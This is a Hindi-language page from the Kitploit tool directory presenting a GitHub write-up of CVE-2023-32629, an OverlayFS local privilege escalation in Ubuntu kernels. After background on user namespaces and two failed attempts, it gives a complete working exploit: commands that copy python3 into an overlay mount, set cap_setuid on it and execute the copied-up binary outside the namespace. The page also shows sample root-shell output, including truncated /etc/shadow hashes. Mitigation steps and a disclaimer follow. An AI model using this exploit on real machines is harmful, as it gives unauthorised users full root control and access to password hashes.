Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-32629 — OverlayFS स्थानीय विशेषाधिकार वृद्धि - पूर्ण विवरण से पूर्ण वृद्धि तक | Kitploit
उपकरण/GitHubGitHub/h3raklez/cve-2023-32629
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubh3raklez/cve-2023-32629

CVE-2023-32629

OverlayFS स्थानीय विशेषाधिकार वृद्धि - पूर्ण विवरण से पूर्ण वृद्धि तक

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-32629 — OverlayFS स्थानीय पूर्ण विशेषाधिकार वृद्धि

OverlayFS स्थानीय विशेषाधिकार वृद्धि - पूर्ण विश्लेषण से पूर्ण वृद्धि तक

केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए।

गंभीरता: उच्च
प्रकार: स्थानीय विशेषाधिकार वृद्धि (LPE)
प्रभावित: मई/जून 2023 पैच से पहले के उबंटू कर्नेल
आवश्यकता: अनविशेषाधिकृत user namespaces सक्षम (उबंटू पर डिफ़ॉल्ट)


विषय-सूची

  • अवलोकन
  • पृष्ठभूमि अवधारणाएँ
  • प्रयास 1 — सरल SUID कॉपी
  • प्रयास 2 — नेमस्पेस के अंदर शेल
  • कार्यशील एक्सप्लॉइट
  • यह क्यों काम करता है
  • सारांश

अवलोकन

CVE-2023-32629 लिनक्स कर्नेल के OverlayFS कार्यान्वयन में एक भेद्यता है। यह OverlayFS कॉपी-अप ऑपरेशन के दौरान user namespaces और filesystem capabilities के बीच की परस्पर क्रिया का दुरुपयोग करके किसी भी अनविशेषाधिकृत उपयोगकर्ता से वास्तविक होस्ट रूट तक स्थानीय विशेषाधिकार वृद्धि प्राप्त करता है।


पृष्ठभूमि अवधारणाएँ

User Namespaces और UID मैपिंग

जब आप unshare -r चलाते हैं, तो कर्नेल एक नया user namespace बनाता है और आपके होस्ट UID को उसके अंदर UID 0 में मैप करता है:

root@kitploit:~
/proc/self/uid_map:
  0  1001  1   ←  "UID 0 inside namespace = UID 1001 (lowpriv) outside"

इसका मतलब है कि आप नेमस्पेस के अंदर root के रूप में दिखाई देते हैं, लेकिन होस्ट संसाधनों पर फाइलसिस्टम अनुमति जाँच करते समय होस्ट कर्नेल हमेशा आपके वास्तविक UID में वापस अनुवाद करता है।

OverlayFS कॉपी-अप

OverlayFS एक lowerdir (रीड-ओनली) और एक upperdir (रीड-राइट) को एक मर्ज किए गए व्यू में स्टैक करता है। जब मर्ज किए गए व्यू के माध्यम से lowerdir में किसी फ़ाइल में लिखा जाता है, तो कर्नेल पहले उसे upperdir में कॉपी करता है — इसे कॉपी-अप कहा जाता है।

महत्वपूर्ण: कॉपी-अप कर्नेल द्वारा स्वयं होस्ट क्रेडेंशियल्स का उपयोग करके किया जाता है, चाहे इसे किसी भी नेमस्पेस ने ट्रिगर किया हो। इस ऑपरेशन के दौरान filesystem capabilities सहित सभी विस्तारित विशेषताएँ (xattrs) संरक्षित रहती हैं।

Filesystem Capabilities बनाम SUID

तंत्ररूट स्वामित्व की आवश्यकताद्वारा प्रदान किया गया
SUID बिट✅ हाँchmod u+s
Capabilities (cap_setuid)❌ नहींsetcap + trusted xattr

यह अंतर एक्सप्लॉइट का मूल है। Capabilities को कर्नेल द्वारा अकेले xattr के आधार पर सम्मानित किया जाता है, चाहे फ़ाइल का स्वामी कोई भी हो।


प्रयास 1 — सरल SUID कॉपी

हमने क्या प्रयास किया

root@kitploit:~
unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  echo >> m/python3 &&
  cp u/python3 /tmp/rootshell &&
  chmod 4755 /tmp/rootshell
"

/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'

परिणाम

root@kitploit:~
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted

यह क्यों विफल हुआ

cp और chmod कमांड नेमस्पेस के अंदर चले, जहाँ UID 0 होस्ट पर lowpriv में मैप होता है। इसलिए:

  • /tmp/rootshell वास्तविक रूट के बजाय lowpriv के स्वामित्व में था
  • lowpriv-स्वामित्व वाली फ़ाइल पर SUID केवल lowpriv प्रदान करता है — जो हमारे पास पहले से था
  • cp ऑपरेशन ने बाइनरी से capability xattrs को भी हटा दिया

प्रयास 2 — नेमस्पेस के अंदर शेल

हमने क्या प्रयास किया

root@kitploit:~
unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  echo >> m/python3 &&
  m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"

परिणाम

root@kitploit:~
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied

यह क्यों विफल हुआ

शेल केवल नेमस्पेस के अंदर रूट था। जब उसने /etc/shadow तक पहुँचने का प्रयास किया, तो कर्नेल ने अनुवादित होस्ट UID का उपयोग करके VFS अनुमति जाँच की:

root@kitploit:~
Process UID (inside NS):   0        (looks like root)
Kernel translation:        0 → 1001 (lowpriv on host)
/etc/shadow permissions:   640 root:shadow
Effective checker UID:     1001 (lowpriv)
Result:                    EACCES — Permission denied

नेमस्पेस का बुलबुला होस्ट फाइलसिस्टम संसाधनों को छूने पर वास्तविक होस्ट रूट तक कभी नहीं पहुँच पाता।


कार्यशील एक्सप्लॉइट

चरण

root@kitploit:~
# Step 1: Set up the OverlayFS inside the namespace and EXIT
unshare -rm sh -c "
  mkdir -p l u w m &&
  cp /usr/bin/python3 l/ &&
  setcap cap_setuid+eip l/python3 &&
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
  touch m/python3
"
# touch triggers kernel copy-up: l/python3 → u/python3
# kernel runs copy-up with HOST credentials, preserving cap_setuid xattr

# Step 2: Verify the capability survived on the host filesystem
getcap u/python3
# u/python3 cap_setuid=eip  ← trusted xattr set on host FS

# Step 3: Execute OUTSIDE the namespace
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'

परिणाम

root@kitploit:~
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...

यह क्यों काम करता है

भेद्य प्रिमिटिव

root@kitploit:~
1. setcap inside user namespace
        │
        │  writes cap_setuid as trusted xattr on l/python3
        ▼
2. touch m/python3  →  OverlayFS copy-up triggered
        │
        │  kernel copies l/ → u/ using HOST credentials
        │  ALL xattrs preserved, including cap_setuid
        ▼
3. u/python3 exists on HOST filesystem
        │
        │  owner: lowpriv  (irrelevant for capabilities)
        │  xattr: cap_setuid=eip  (kernel trusts this)
        ▼
4. Execute u/python3 OUTSIDE the namespace
        │
        │  no UID mapping in effect
        │  kernel reads cap_setuid=eip as host-level capability
        │  os.setuid(0) → real host root
        ▼
5. Shell has genuine UID 0
        │
        │  VFS checks pass as real root
        └─ /etc/shadow readable

मुख्य अंतर्दृष्टि

कर्नेल को कॉपी-अप के दौरान user namespace के अंदर से सेट किए गए trusted capability xattrs को सम्मानित नहीं करना चाहिए, क्योंकि वे xattrs होस्ट-स्तरीय विश्वास रखते हैं। इस सीमा को लागू करने में विफलता ही बग है।


सारांश

नेमस्पेस ने हमें किसी फ़ाइल पर trusted capability सेट करने की क्षमता दी; कर्नेल कॉपी-अप ने उस capability को होस्ट फाइलसिस्टम पर तस्करी कर पहुँचाया; नेमस्पेस के बाहर निष्पादन ने इसे वास्तविक बना दिया।


निवारण

  • CVE-2023-32629 के लिए उबंटू सुरक्षा पैच लागू करें
  • यदि आवश्यक न हो तो अनविशेषाधिकृत user namespaces अक्षम करें:
    root@kitploit:~
    sysctl -w kernel.unprivileged_userns_clone=0
    
  • अनविशेषाधिकृत उपयोगकर्ताओं से अप्रत्याशित unshare + mount overlayfs संयोजनों की निगरानी करें

अस्वीकरण

यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।

टूल डाउनलोड करें
नेमस्पेस के अंदरनेमस्पेस के बाहर
UID 0 का अर्थ हैlowpriv (मैप किया गया)वास्तविक रूट
setuid(0) प्रभावno-op (पहले से NS-रूट)वास्तविक वृद्धि
होस्ट FS एक्सेसअनुवादित → lowprivपूर्ण रूट
cap_setuid सम्मानितकेवल NS के भीतरहाँ, होस्ट-स्तरीय